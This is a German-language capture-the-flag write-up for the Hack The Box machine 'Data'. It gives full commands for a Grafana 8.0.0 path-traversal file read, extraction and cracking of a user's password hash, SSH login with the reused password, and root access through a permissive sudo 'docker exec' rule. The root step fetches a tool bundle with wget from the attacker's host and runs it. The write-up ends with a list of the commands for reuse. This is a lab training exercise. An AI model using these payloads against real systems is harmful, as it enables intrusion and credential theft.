HTB · published
Data
HTB Vuln-Track Writeup zu Data: Grafana Path Traversal, Credential Recovery, SSH-Foothold und Docker/debugfs Privilege Escalation.
Metadaten
- Name: Data
- IP Address:
10.129.18.176 - Plattform: Linux
- Kategorie: Web / Grafana / Credential Recovery / Docker
- Schwierigkeit: Unknown
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Die Maschine stellt SSH und Grafana bereit. Eine verwundbare Grafana-Version erlaubt Local File Read ueber Plugin Path Traversal. Dadurch wird die Grafana-Datenbank ausgelesen, ein Benutzer-Hash geknackt und das Passwort fuer SSH wiederverwendet. Root-Zugriff entsteht durch eine unsichere sudo-Regel fuer
docker exec, die privilegierte Container-Ausfuehrung und Zugriff auf Host-Blockdevices erlaubt.
Reconnaissance/ Enumeration
initscan:
ping -c 2 10.129.18.176
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.176
Offene Ports:
22/tcp open ssh
3000/tcp open http
servicescan:
nmap -sC -sV -O -p22,3000 -oA scans/nmap_services 10.129.18.176
Relevante Ergebnisse:
22/tcp OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
3000/tcp Grafana http
http-title: Grafana
Requested resource was /login
Die Grafana-Loginseite offenbarte die Version:
Grafana v8.0.0 (41f0542c1e)
robots.txt war vorhanden und blockierte /:
User-agent: *
Disallow: /
Exploitation (Foothold)
Grafana v8.0.0 wurde auf Plugin Path Traversal getestet. Mit curl --path-as-is liess sich /etc/passwd aus dem Grafana-Container lesen:
curl --path-as-is \
'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
Relevante Benutzer im Container:
root:x:0:0:root:/root:/bin/ash
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
Der Container-Hostname war:
e6ff5b1cbc85
Danach wurde die Grafana-SQLite-Datenbank ueber dieselbe LFI gelesen:
curl --path-as-is --max-time 90 -s \
'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' \
-o loot/grafana.db
Benutzerextraktion:
sqlite3 -header -column loot/grafana.db \
"select id, login, email, name, is_admin, password, salt from user;"
Interessante Accounts:
admin | admin@localhost | is_admin=1
boris | boris@data.vl | is_admin=0
Der Grafana-Hash von boris wurde offline geknackt:
python3 privesc/crack_grafana_hash.py \
LCBhdtJWjl \
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 \
/usr/share/wordlists/rockyou.txt \
-j 8
Ergebnis:
boris:beautiful1
Die Anmeldung bei Grafana bestaetigte die Credentials:
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"user":"boris","password":"beautiful1"}' \
http://10.129.18.176:3000/login
Lateral Movement / User Escalation
Das Grafana-Passwort wurde erfolgreich fuer SSH wiederverwendet:
ssh boris@10.129.18.176
Kontext:
boris
uid=1001(boris) gid=1001(boris) groups=1001(boris)
hostname: data
Die User-Flag lag in /home/boris/user.txt.
Privilege Escalation (Root / Domain)
sudo -l zeigte eine gefaehrliche NOPASSWD-Regel:
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
Der bekannte Grafana-Container konnte mit Optionen ausgefuehrt werden. Dadurch war ein privilegierter docker exec als UID 0 moeglich:
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 id
Kontext:
uid=0(root) gid=0(root) groups=0(root),...,6(disk),...
Im privilegierten Container waren Host-Blockdevices sichtbar:
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c \
'ls -la /dev | grep sda; fdisk -l /dev/sda'
Relevant:
brw-rw---- 1 root disk 8, 0 /dev/sda
brw-rw---- 1 root disk 8, 1 /dev/sda1
/dev/sda1 Linux 5120M
Ein direktes Mounten schlug fehl. Stattdessen wurde ein Alpine-debugfs-Bundle in den Container geladen und die Root-Flag direkt aus dem Host-Dateisystem auf /dev/sda1 gelesen:
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c '
cd /tmp &&
wget -O debugfs_bundle.tar.gz http://10.10.15.109:8003/debugfs_bundle.tar.gz &&
tar -xzf debugfs_bundle.tar.gz &&
LD_LIBRARY_PATH=/tmp/lib /tmp/usr/sbin/debugfs -R "cat /root/root.txt" /dev/sda1
'
Post-Exploitation
- User Flag:
7510d[REDACTED-USER-FLAG]4128 - Root Flag:
3992b[REDACTED-ROOT-FLAG]0072 - Screenshots: keine erforderlich
- Wichtige Dateien:
loot/grafana.dbloot/grafana_users.txtloot/user_flag.txtloot/root_flag.txtprivesc/crack_grafana_hash.pyprivesc/debugfs_bundle.tar.gz
- Relevante Logs oder Proofs:
scans/nmap_services.nmapscans/ferox_grafana_3000.txtweb/grafana_lfi_etc_passwd.txtweb/grafana_login_boris.txtreports/final_walkthrough.md
Lessons Learned
- Grafana-Versionen auf Loginseiten sind direkt verwertbare Recon-Daten.
- Bei Grafana-LFI ist
grafana.dbein besonders wertvolles Ziel, weil dort Benutzer-Hashes und weitere Secrets liegen koennen. - Wiederverwendete Applikationspasswoerter koennen sofort zu SSH-Zugriff fuehren.
- Eine scheinbar enge sudo-Regel wie
/snap/bin/docker exec *bleibt kritisch, wenn Docker-Optionen frei kontrollierbar sind. - Privilegierte Container-Kontexte koennen Host-Blockdevices sichtbar machen;
debugfsist dann ein pragmatischer Weg, einzelne Dateien ohne Mount zu lesen.
Notizen
Nuetzliche Commands:
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full_tcp.txt 10.129.18.176
nmap -sC -sV -O -p22,3000 -oA scans/nmap_services 10.129.18.176
curl --path-as-is 'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
curl --path-as-is -s 'http://10.129.18.176:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o loot/grafana.db
sqlite3 -header -column loot/grafana.db "select id, login, email, name, is_admin, password, salt from user;"
python3 privesc/crack_grafana_hash.py LCBhdtJWjl dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 /usr/share/wordlists/rockyou.txt -j 8
ssh boris@10.129.18.176
sudo -l
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 id
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c 'ls -la /dev | grep sda; fdisk -l /dev/sda'
sudo /snap/bin/docker exec --privileged -u 0 e6ff5b1cbc85 sh -c 'cd /tmp && wget -O debugfs_bundle.tar.gz http://10.10.15.109:8003/debugfs_bundle.tar.gz && tar -xzf debugfs_bundle.tar.gz && LD_LIBRARY_PATH=/tmp/lib /tmp/usr/sbin/debugfs -R "cat /root/root.txt" /dev/sda1'